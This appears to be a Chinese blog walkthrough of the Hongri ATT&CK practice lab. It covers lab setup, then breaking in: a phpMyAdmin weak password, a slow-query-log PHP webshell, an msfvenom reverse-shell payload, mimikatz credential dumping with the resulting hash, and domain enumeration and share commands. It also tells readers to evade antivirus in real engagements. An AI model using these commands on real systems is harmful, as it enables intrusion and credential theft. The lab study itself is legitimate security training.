前言

靶机下载地址：ATT&CK

拓扑图：

通过模拟真实环境搭建的漏洞靶场，完全模拟ATK&CK攻击链路进行搭建，形成完整个闭环。虚拟机默认密码为hongrisec@2019。

环境搭建

名字	host	password	说明
win7	192.168.200.129/24 192.168.52.143/24	hongrisec@2019	web服务器
win2K3	192.168.52.141/24	hongrisec@2019	域成员
windows server 2008 r2	192.168.52.138/24	hongrisec@2019	域控制器
kali	192.168.200.128/24	kali	attack

设置VMnet1为仅主机模式，然后win7设置双网卡，其中有一张为Net，如下设置，不然ip会对不上：

win2K3和windows server 2008 R2的网卡设置如下：

攻击机 kali 的网卡设置如下：

测试网络连通性

我个人感觉，其实没必要可以去ping吧~我这基本上ping不通（因为我开了防火墙），下面是关闭防火墙后的ping

win7 ping win2K3

win7 ping windows server 2008 r2

win2K3 ping windows server 2008 r2

同样的道理进行 windows server 2008 r2 反ping win7,win2K3，win7和kali 互通。

win7开了防火墙后，kali ping不通，但是nmap能扫出来，无法访问80端口，为了继续渗透，作者我决定对win7的防火墙做些手脚，如下：

入网规则：

出网规则：

注意，我靶机win7的防火墙还是开着的：

具体怎么设置呢，自行百度吧，设置出入网规则不是这篇博客的重点！

内网渗透

信息收集

信息收集前要在win7中把phpstudy打开哦，位置是：c盘根目录下，各位师傅也可以自行设置开机自启动哈~

扫描同网段下的存活主机和端口

有人会问，怎么知道ip？linux下查看本机ip地址的命令是：ifconfig

nmap 192.168.200.0/24

可以看到开了个80端口，我们访问一下80端口

发现是个phpStudy探针，基本信息都已经给了，就剩下目录了，那就进行目录扫描吧

dirb http://192.168.200.129/ /usr/share/wordlists/dirb/common.txt

扫完目录后发现除了个sql管理工具：phpMyadmin，其他啥也没，直接访问

漏洞一：弱口令

需要用户名密码，这个时候不要慌，回去phpStudy探针的那个页面走一波弱口令，什么你不知道phpStudy可以进行sql连接测试？？那就往下看吧~

来吧，弱口令走一波，先来个常用的 root root。

回到phpMyadmin界面，输入刚才检测的用户名密码，登录成功。

漏洞二：phpMyadmin慢查询日志getshell

phpMyadmin有很多中getshell方式，我这里使用慢查询日志来getshell，其他的方法自行百度，或者关注我 (敬请期待)

直接点击SQL即可

1、查看当前慢日志目录

show variables like '%slow%';

此时的慢查询日志还是关闭状态。

2、开启慢查询日志功能：

set global slow_query_log=on;

3、重新设置日志路径

日志路径可以在phpStudy探针中拿到，这里就不加说明了。（这里的php名字自行命名哈）

set global slow_query_log_file='C:/phpStudy/WWW/xx.php';

修改成功，如果路径不对的话会报错的哦。

4、执行sql命令，写webshell进日志文件
注意执行的sql语句有一个sleep的延时时间，我这里设置为10s，为什么要加这个延时呢？因为咱们是通过慢查询来getshell的，所以要加延时。

select '<?php eval($_POST[cmd]);?>' from mysql.db where sleep(10);

其中 <?php eval($_POST[cmd]);?> 是一句话，有不懂的师傅自行百度哦~这里不解释。

5、蚁剑连接

测试连接，提示连接成功时，点击添加即可。

这样就拿到了webshell了。

发现里面有一个cms，我好像绕过了些啥，直接就进来了，这个cms在下一篇文章写吧！

下面是信息收集，作者使用msf反弹shell来进行：

生成木马：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.200.128 lport=10173 -f exe > spmonkey.exe

lhost 是kali ip地址，lport 是kali监听的端口

生成后利用蚁剑上传并执行，msf配置如下：

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.200.128

set lport 10173

run

木马文件被执行后，反弹shell

查看当前权限：getuid

信息收集一：系统信息收集

sysinfo

信息收集二：网络信息收集

查看它有没有其他网段：run get_local_subnets

发现就只有52网段和200网段，对52网段进行存活主机收集：

创建路由规则：run autoroute ‐s 192.168.52.0/24

查看路由规则是否创建成功：run autoroute -p

信息收集三：win7(跳板机)的用户名和密码收集

上github下载mimikatz并上传至win7（实战中要做免杀哦）

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip    # 命令下载

upload /opt/mimikatz/x64/mimikatz.exe C:\\phpStudy\\WWW\\  # 上传mimikatz到win7

上传成功了，回到msf上运行mimikatz，获取win7的密码

乱码？？不要慌，运行 chcp 65001 就好了

进入mimikatz.exe所在的目录下执行mimikatz.exe，然后输入以下命令进行明文密抓取

privilege::debug

sekurlsa::logonPasswords

得到username : Administrator domain : GOD password : hongrisec@2022（因为登陆域控机win2008的时候会要求改密码，我这个改成hongrisec@2022）

LM：edea194d76c77d87923b4276177762ae；NTLM：8c535a2d84c3b21059d667639bb89db5（可能会用到哈希传递攻击，所以记录下来）

发现存在域后，使用post/windows/gather/enum_domains扫描找到域控用户 OWA

信息收集四：获取主机所安装的软件信息

run post/windows/gather/enum_applications

可以看到，目标主机安装了Nmap。

查看进程

meterpreter > ps

将木马进程迁移到explorer.exe上

migrate 2100

信息收集五：域环境信息+找到域控

进入shell界面收集域内信息：

收集域信息

ipconfig /all   查看本机ip，所在域

route print     打印路由信息

net view        查看局域网内其他主机名

arp -a          查看arp缓存

net start       查看开启了哪些服务

net share       查看开启了哪些共享

net share ipc$  开启ipc共享

net share c$    开启c盘共享

net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接

net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享

dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件

net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user                 查看本机用户列表

net time /domain        #查看时间服务器，判断主域，主域服务器都做时间服务器

net user /domain         查看域用户

net localgroup administrators   查看本地管理员组（通常会有域用户）

net view /domain         查看有几个域

net user 用户名 /domain   获取指定域用户的信息

net group /domain        查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）

net group 组名 /domain    查看域中某工作组

net group "domain admins" /domain  查看域管理员的名字

net group "domain computers" /domain  查看域中的其他主机名

net group "doamin controllers" /domain  查看域控制器（可能有多台）

查看本机ip，所在域

ipconfig /all

查看局域网内其他主机名

net view

查看所开启的共享

net share

查看本机的用户信息

net user

获取主机名

use auxiliary/scanner/netbios/nbname

set RHOSTS 192.168.52.1/24

run

整理

域：god.org

域控 windows server 2008：OWA，192.168.52.138

域成员 windows server 2003：ROOT-TVI862UBEH，192.168.52.141

win7内网ip：192.168.52.143

巴特西

内网横向渗透之 ATT&CK系列一之信息收集

前言

环境搭建

测试网络连通性

内网渗透

信息收集

漏洞一：弱口令

漏洞二：phpMyadmin慢查询日志getshell

信息收集一：系统信息收集

信息收集二：网络信息收集

信息收集三：win7(跳板机)的用户名和密码收集

信息收集四：获取主机所安装的软件信息

信息收集五：域环境信息+找到域控

整理

最新文章

热门文章

巴特西

内网横向渗透 之 ATT&CK系列一 之 信息收集

前言

环境搭建

测试网络连通性

内网渗透

信息收集

漏洞一：弱口令

漏洞二：phpMyadmin慢查询日志getshell

信息收集一：系统信息收集

信息收集二：网络信息收集

信息收集三：win7(跳板机)的用户名和密码收集

信息收集四：获取主机所安装的软件信息

信息收集五：域环境信息+找到域控

整理

最新文章

热门文章

内网横向渗透之 ATT&CK系列一之信息收集